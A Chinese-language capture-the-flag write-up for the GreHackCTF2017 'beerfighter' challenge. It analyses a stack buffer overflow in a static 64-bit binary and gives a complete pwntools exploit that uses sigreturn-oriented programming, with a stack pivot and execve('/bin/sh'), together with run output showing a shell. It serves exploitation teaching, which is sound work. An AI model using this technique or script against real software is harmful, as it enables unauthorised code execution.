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206 lines
5.2 KiB
Markdown
206 lines
5.2 KiB
Markdown
# 6.1.5 pwn GreHackCTF2017 beerfighter
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- [题目复现](#题目复现)
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- [题目解析](#题目解析)
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- [漏洞利用](#漏洞利用)
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- [参考资料](#参考资料)
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[下载文件](../src/writeup/6.1.5_pwn_grehackctf2017_beerfighter)
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## 题目复现
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```text
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$ file game
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game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
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$ checksec -f game
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RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
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Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 game
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```
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64 位，静态链接，stripped。
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既然是个小游戏，先玩一下，然后发现，进入 City Hall 后，有一个可以输入字符串的地方，然而即使我们什么也不输入，直接回车，在 Leave the town 时也会出现 Segmentation fault：
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```text
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[0] The bar
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[1] The City Hall
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[2] The dark yard
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[3] Leave the town for ever
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Type your action number > 1
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Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
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How should I call you?
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[0] Tell him your name
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[1] Leave
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Type your action number > 0
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Type your character name here >
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...
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[0] The bar
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[1] The City Hall
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[2] The dark yard
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[3] Leave the town for ever
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Type your action number > 3
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By !
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Segmentation fault (core dumped)
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```
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## 题目解析
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程序大概清楚了，看代码吧，经过一番搜索，发现了一个很有意思的函数：
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```text
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[0x00400d8e]> pdf @ fcn.00400773
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/ (fcn) fcn.00400773 15
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| fcn.00400773 ();
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| ; CALL XREF from 0x00400221 (fcn.004001f3)
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| ; CALL XREF from 0x004002b6 (fcn.00400288)
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| 0x00400773 4889f8 mov rax, rdi
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| 0x00400776 4889f7 mov rdi, rsi
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| 0x00400779 4889d6 mov rsi, rdx
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| 0x0040077c 4889ca mov rdx, rcx
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| 0x0040077f 0f05 syscall
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\ 0x00400781 c3 ret
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```
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`syscall;ret`，你想到了什么，对，就是前面讲的 SROP。
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其实前面的输入一个字符串，程序也是通过 syscall 来读入的，从函数 `0x004004b8` 开始仔细跟踪代码后就会知道，系统调用为 `read()`。
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```text
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gdb-peda$ pattern_offset $ebp
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1849771374 found at offset: 1040
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```
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缓冲区还挺大的，`1040+8=1048`。
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## 漏洞利用
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好，现在思路已经清晰了，先利用缓冲区溢出漏洞，用 `syscall;ret` 地址覆盖返回地址，通过 frame\_1 调用 `read()` 读入 frame_2 到 `.data` 段（这个程序没有`.bss`，而且`.data`可写），然后将栈转移过去，调用 `execve()` 执行“/bin/sh”，从而拿到 shell。
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构造 sigreturn：
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```text
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$ ropgadget --binary game --only "pop|ret"
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...
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0x00000000004007b2 : pop rax ; ret
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```
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```python
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# sigreturn syscall
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sigreturn = p64(pop_rax_addr)
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sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
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sigreturn += p64(syscall_addr)
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```
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然后是 frame_1，通过设定 `frame_1.rsp = base_addr` 来转移栈：
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```python
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# frame_1: read frame_2 to .data
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frame_1 = SigreturnFrame()
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frame_1.rax = constants.SYS_read
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frame_1.rdi = constants.STDIN_FILENO
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frame_1.rsi = data_addr
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frame_1.rdx = len(str(frame_2))
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frame_1.rsp = base_addr # stack pivot
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frame_1.rip = syscall_addr
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```
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frame_2 执行 `execve()`：
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```python
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# frame_2: execve to get shell
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frame_2 = SigreturnFrame()
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frame_2.rax = constants.SYS_execve
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frame_2.rdi = data_addr
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frame_2.rsi = 0
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frame_2.rdx = 0
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frame_2.rip = syscall_addr
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```
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Bingo!!!
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```text
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$ python2 exp.py
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[*] '/home/firmy/Desktop/game'
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Arch: amd64-64-little
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RELRO: Partial RELRO
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Stack: No canary found
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NX: NX enabled
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PIE: No PIE (0x400000)
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[+] Starting local process './game': pid 12975
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[*] Switching to interactive mode
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By !
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$ whoami
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firmy
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```
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### exploit
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完整的 exp 如下：
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```python
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from pwn import *
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elf = ELF('./game')
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io = process('./game')
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io.recvuntil("> ")
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io.sendline("1")
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io.recvuntil("> ")
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io.sendline("0")
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io.recvuntil("> ")
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context.clear()
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context.arch = "amd64"
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data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
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base_addr = data_addr + 0x8 # new stack address
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# useful gadget
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pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
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syscall_addr = 0x000000000040077f # syscall ;
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# sigreturn syscall
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sigreturn = p64(pop_rax_addr)
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sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
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sigreturn += p64(syscall_addr)
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# frame_2: execve to get shell
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frame_2 = SigreturnFrame()
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frame_2.rax = constants.SYS_execve
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frame_2.rdi = data_addr
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frame_2.rsi = 0
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frame_2.rdx = 0
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frame_2.rip = syscall_addr
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# frame_1: read frame_2 to .data
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frame_1 = SigreturnFrame()
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frame_1.rax = constants.SYS_read
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frame_1.rdi = constants.STDIN_FILENO
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frame_1.rsi = data_addr
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frame_1.rdx = len(str(frame_2))
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frame_1.rsp = base_addr # stack pivot
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frame_1.rip = syscall_addr
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payload_1 = "A" * 1048
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payload_1 += sigreturn
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payload_1 += str(frame_1)
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io.sendline(payload_1)
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io.recvuntil("> ")
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io.sendline("3")
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payload_2 = "/bin/sh\x00"
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payload_2 += sigreturn
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payload_2 += str(frame_2)
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io.sendline(payload_2)
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io.interactive()
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```
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## 参考资料
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- <https://ctftime.org/task/4939>
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